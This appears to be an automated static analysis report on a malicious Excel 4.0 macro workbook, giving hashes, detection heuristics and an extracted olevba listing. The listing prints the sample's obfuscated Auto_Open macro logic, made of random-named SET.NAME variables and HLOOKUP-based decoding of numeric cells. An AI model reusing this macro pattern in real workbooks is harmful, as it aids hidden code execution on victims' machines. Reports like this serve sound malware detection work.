Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bdbc4a188d8f4b2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:30 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: d35f093ec04ec34809eee0b594283dc9 SHA-1: bcad412f199b8f2ae0674be294a7d2d56bdf950e SHA-256: 9bdbc4a188d8f4b258f7d2c8e890a07db123e07389e0c03b066e2a66026f8f56
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6701 bytes
SHA-256: c67f6447317e026be6e211380d87678287a472d2169bb704f99859e4cca2ea55
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HvCVHWK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E139 
' 0018     27 LABEL : Cell Value, String Constant - daAoShFrorQu len=0 
' 0018     23 LABEL : Cell Value, String Constant - dvevpeeA len=0 
' 0018     26 LABEL : Cell Value, String Constant - ELkUiXBgbfD len=0 
' 0018     20 LABEL : Cell Value, String Constant - HEocr len=0 
' 0018     23 LABEL : Cell Value, String Constant - KBPHsGiw len=0 
' 0018     22 LABEL : Cell Value, String Constant - kDGugOy len=0 
' 0018     22 LABEL : Cell Value, String Constant - KMkGyWk len=0 
' 0018     22 LABEL : Cell Value, String Constant - KwULNdt len=0 
' 0018     22 LABEL : Cell Value, String Constant - kYgvRZR len=0 
' 0018     25 LABEL : Cell Value, String Constant - ONpDqFnHmg len=0 
' 0018     22 LABEL : Cell Value, String Constant - PrmRmnG len=0 
' 0018     23 LABEL : Cell Value, String Constant - QKJdhDsT len=0 
' 0018     24 LABEL : Cell Value, String Constant - QXLWDKyeu len=0 
' 0018     27 LABEL : Cell Value, String Constant - rGiycODQlaKM len=0 
' 0018     26 LABEL : Cell Value, String Constant - rprbjTsxHbp len=0 
' 0018     20 LABEL : Cell Value, String Constant - TnzOx len=0 
' 0018     26 LABEL : Cell Value, String Constant - vlJPJzuVIFz len=0 
' 0018     25 LABEL : Cell Value, String Constant - XXfiXGKIVP len=0 
' 0018     22 LABEL : Cell Value, String Constant - yAVFdjK len=0 
' 0018     21 LABEL : Cell Value, String Constant - YOKcbQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HvCVHWK,E57,"SET.NAME("daAoShFrorQu",0+VALUE("0"))",""
'  HvCVHWK,E60,"SET.NAME("QKJdhDsT",daAoShFrorQu)",""
'  HvCVHWK,E64,"SET.NAME("HEocr",daAoShFrorQu)",""
'  HvCVHWK,E67,"SET.NAME("vlJPJzuVIFz",COUNTA(YOKcbQ))",""
'  HvCVHWK,E70,"SET.NAME("XXfiXGKIVP",COUNTA(ONpDqFnHmg))",""
'  HvCVHWK,E73,[],""
'  HvCVHWK,E75,"SET.NAME("dvevpeeA","")",""
'  HvCVHWK,P75,"",-235.00000000000000000000
'  HvCVHWK,P76,"",-855.00000000000000000000
'  HvCVHWK,P77,"",369.00000000000000000000
'  HvCVHWK,E78,"QKJdhDsT",""
'  HvCVHWK,P78,"",-890.00000000000000000000
'  HvCVHWK,P79,"",-229.00000000000000000000
'  HvCVHWK,E80,"SET.NAME("rGiycODQlaKM",HLOOKUP("*",YOKcbQ,QKJdhDsT,FALSE))",""
'  HvCVHWK,P80,"",-34.00000000000000000000
'  HvCVHWK,E84,"yAVFdjK",""
'  HvCVHWK,E86,"SET.NAME("kDGugOy",daAoShFrorQu)",""
'  HvCVHWK,E89,[],""
'  HvCVHWK,E94,"kDGugOy",""
'  HvCVHWK,E96,"rprbjTsxHbp",""
'  HvCVHWK,E99,"QXLWDKyeu",""
'  HvCVHWK,E103,"PrmRmnG",""
'  HvCVHWK,E106,"SET.NAME("kYgvRZR",VALUE(HLOOKUP("*",ONpDqFnHmg,PrmRmnG,FALSE)))",""
'  HvCVHWK,E111,"KBPHsGiw",""
'  HvCVHWK,E114,"dvevpeeA",""
'  HvCVHWK,E116,"HEocr",""
'  HvCVHWK,E120,NEXT(),""
'  HvCVHWK,E124,"KMkGyWk",""
'  HvCVHWK,E127,[],""
'  HvCVHWK,E130,"TnzOx",""
'  HvCVHWK,E133,NEXT(),""
'  HvCVHWK,E136,RETURN(),""
'  HvCVHWK,E162,"SET.NAME("ELkUiXBgbfD",E57)",""
'  HvCVHWK,E165,"YOKcbQ",""
'  HvCVHWK,E169,"SET.NAME("ONpDqFnHmg",R66C12)",""
'  HvCVHWK,E173,"SET.NAME("TnzOx",179)",""
'  HvCVHWK,E176,"SET.NAME("KwULNdt",5)",""
'  HvCVHWK,E178,ELkUiXBgbfD(),""
'  HvCVHWK,E179,HALT(),""